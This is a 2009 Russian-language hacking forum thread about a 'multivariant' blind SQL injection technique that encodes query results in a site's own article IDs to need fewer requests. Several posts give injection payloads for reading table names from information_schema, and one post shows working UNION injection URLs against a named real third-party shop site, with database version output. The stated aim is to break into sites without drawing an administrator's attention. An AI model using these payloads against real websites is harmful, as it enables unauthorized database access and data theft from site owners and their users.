Multivariant Blind SQL Inject's

Discussion in 'Уязвимости' started by Psi.X, 24 Apr 2009.

  1. Psi.X

    Psi.X New Member

    Joined:
    12 Apr 2009
    Messages:
    29
    Likes Received:
    3
    Reputations:
    0
    Не знаю писал об этом кто-то раньше или нет, идея в общем то очевидная...

    Для начала напомню суть Blind SQL - к примеру у нас есть уязвимый сайт, на лицо инъекция, но использовать
    классический UNION SELECT мы не можем, так как в скрипте, к примеру, используються несколько последовательно идущих запросов с разным количеством колонок, в которые приходит наш уязвимый параметр. Чтобы получить данные из базы в этом случае обычно используеться конструкция
    AND c посимвольным перебором значений:
    Code:
    [b]Подбор имени первой несистемной таблицы:[/b]
    index.php?id=113+
    	AND+1=ASCII(LOWER(SUBSTRING(
            	SELECT table_name FROM+information_schema.tables LIMIT 18,1),N,1))=0xXX/*
    	(ну понятно, N - позиция символа, 0xXX - значение)
    
    То есть у нас есть только 2 варианта - либо символ подходит либо нет. Так же при проведении слепых инъекций обычно используют алгоритм бинарного поиска. Те перебор идет не тупо по байтам, а методом проверки вхождения перебираемого символа в диапазон, с последующим его сужением.

    Еще одна полезная констукция - IN:
    Code:
    [b]Проверяем существование таблиц из списка[/b]
    index.php?id=113+
    	AND+1=
    		(select 1 from information_schema.tables
    			 where table_name in ('administrators','admins','user')
    
    Данная атака имеет существенный недостаток - для ее реализации необходимо послать серверу большое число запросов, что может привлечь внимание админа, а слишком частые запросы могут быть расценены сервером как DOS.

    Но почему бы нам не использовать в качестве выводимого результата "родные" ID скрипта? Допустим у нас есть новостной сайт - с уязвимым параметром news_id. Сопоставив каждому варианту ид новости мы сможем возвращать более 2 вариантов, сократив таким образом количество запросов:

    Code:
    ?news.php?news_id=
    	(select 111 from information_schema.tables where table_name = 'administrators'
    	     union select 112 from information_schema.tables where table_name = 'admins'
    	     union select 113 from information_schema.tables where table_name = 'users')
    
    После чего парсим заголовки новостей и получаем наше значение.
     
    #1 Psi.X, 24 Apr 2009
    Last edited: 24 Apr 2009
    1 person likes this.
  2. Peklots

    Peklots Elder - Старейшина

    Joined:
    28 Sep 2008
    Messages:
    281
    Likes Received:
    144
    Reputations:
    36
    ога,я смотрю не зря открыли доступ на чих.
     
  3. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    да уже было на ачате это.. https://forum.antichat.ru/showpost.php?p=1047515&postcount=72
     
    #3 попугай, 24 Apr 2009
    Last edited: 24 Apr 2009
  4. Psi.X

    Psi.X New Member

    Joined:
    12 Apr 2009
    Messages:
    29
    Likes Received:
    3
    Reputations:
    0
    Kernet
    Эмм.. кто кому куда открыл...?? :)

    попугай
    Ну там какбе немного подругому... У меня про чиcтый blind...
     
    #4 Psi.X, 24 Apr 2009
    Last edited: 24 Apr 2009
  5. pampom

    pampom Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    33
    Likes Received:
    5
    Reputations:
    0
    Не совсем понял смысл данной конструкции... именно при блинд ижекте.
    Если касаться именно поиска таблички с юзерами то кажеться легче всего начинать с like '%%'

    Вижу только 1 + данного метода это более нагдляднее... а если там допустим надо логин или пароль вытаскивать то тогда как?
     
  6. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    pampom, да этот метод, как я понял для того, чтобы брутить имена таблиц в 5й ветке, а не доставать их посимвольно. Или я ошибаюсь?
     
  7. none222

    none222 Guest

    Reputations:
    0
    .................../>  フ.....................
         |  _  _|
         /`ミ _x 彡
         /      |
        /  ヽ   ノ
     / ̄|   | | |
     | ( ̄ヽ__ヽ_)_)
     \二つ
     
    #7 none222, 25 Apr 2009
    Last edited by a moderator: 6 Nov 2020
  8. Psi.X

    Psi.X New Member

    Joined:
    12 Apr 2009
    Messages:
    29
    Likes Received:
    3
    Reputations:
    0
    Code:
    ?news.php?news_id=
    (select 111 from information_schema.tables where table_name = 'administrators'
    union select 112 from information_schema.tables where table_name = 'admins'
    union select 113 from information_schema.tables where table_name = 'users')
    
    Я написал этот запрос чисто для примера, смысл в том что мы увеличиваем разрядность ответа, те уже не 1 или 0, а 0 +столько новостей(или чего угодно) сколько есть на сайте. Те для вытягивания данных все равно придется делать посимвольный брут, но за один запрос мы сможем узнать больше информации, соответственно нам нужно будет послать меньше запросов.

    К примеру у нас есть новости "Пьяные солдаты сбили НЛО" с ид 111 и "Обама тайный брат Майкла Джексона" с ид 112. Запрос возвращает статью про Обаму соответственно наше значение 'admins'

    o3,14um
    >если какойто таблицы не существует, то эррор
    Почему еррор? еррор здесь будет если существуют несколько...
     
  9. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    2 попугай
    Речь не об этом

    2 o3,14um
    Вообще-то , там есть пример РЕАЛЬНОЙ скули из топика и говорить о том, что метод тепличный не приходится (но это конечно надо читать, а это не всем дано :))
    попробуй потестить, или опять-же почитать про SQL
    Нет, в слепой инъекции невозможно получить вывод и только. Другие моменты, это частный случай.

    2 Psi.X да, нормально, но не ново , не доработано, и уж конечно не универсально :)
     
  10. none222

    none222 Guest

    Reputations:
    0
    .................../>  フ.....................
         |  _  _|
         /`ミ _x 彡
         /      |
        /  ヽ   ノ
     / ̄|   | | |
     | ( ̄ヽ__ヽ_)_)
     \二つ
     
    #10 none222, 25 Apr 2009
    Last edited by a moderator: 6 Nov 2020
  11. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    мде
    Этот пример до сих пор отлично работает, смотри внимательно :
    5.0.19


    Это тоже не слепая скуль (мои приветы автору баги :))
    http://www.omjewels.com/cpCommerce/document.php?id_document=-2+union+select+1,version(),3,4,5,6,7--
    5.0.51a-community

    Но дело конечно не в этом. Суть метода помоему ясна предельно, в зависимости от выполнения условия, результат будет разным. Т.е. если есть таблица 'admins' выведется новость 112, если 'users' 113, что тут непонятного?

    =================

    Конкретно на примере:
    http://www.omjewels.com/cpCommerce/document.php?id_document=(select+1+from+information_schema.tables+where+table_name=0x6C6F6C+union+select+2+from+information_schema.tables+where+table_name=0x5649455753)

    выводится новость 2 т.е.
    http://www.omjewels.com/cpCommerce/document.php?id_document=2

    Это происходит потому. что таблицы lol нет, а таблица VIEWS есть. Так понятно?
     
    #11 Kakoytoxaker, 25 Apr 2009
    Last edited: 25 Apr 2009
    3 people like this.
  12. none222

    none222 Guest

    Reputations:
    0
    .................../>  フ.....................
         |  _  _|
         /`ミ _x 彡
         /      |
        /  ヽ   ノ
     / ̄|   | | |
     | ( ̄ヽ__ヽ_)_)
     \二つ
     
    #12 none222, 26 Apr 2009
    Last edited by a moderator: 6 Nov 2020
  13. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    а чем не устороила конструкция select case?
     
  14. Psi.X

    Psi.X New Member

    Joined:
    12 Apr 2009
    Messages:
    29
    Likes Received:
    3
    Reputations:
    0
    Заверни конструкцию в еще один select с limit'ом
    Твое дело =) Но если есть возможность провести отаку на порядок эффективнее почему бы ей не воспользоваться:)
    зы Метод какбе подразумевает автоматическое использование в скрипте, если не захарит, может напишу скриптег

    Scipio
    Не вкурсе насчет SELECT CASE, можешь просветить? :) Это работает только в SQL SERVER?
     
    1 person likes this.
  15. none222

    none222 Guest

    Reputations:
    0
    .................../>  フ.....................
         |  _  _|
         /`ミ _x 彡
         /      |
        /  ヽ   ノ
     / ̄|   | | |
     | ( ̄ヽ__ヽ_)_)
     \二つ
     
    #15 none222, 26 Apr 2009
    Last edited by a moderator: 6 Nov 2020
    1 person likes this.
  16. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    О чем тема ваще? Бред. Смысл перетирать то, что уже давно написано до нас?:)
     
  17. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Не бред, просто не до конца проработано ;)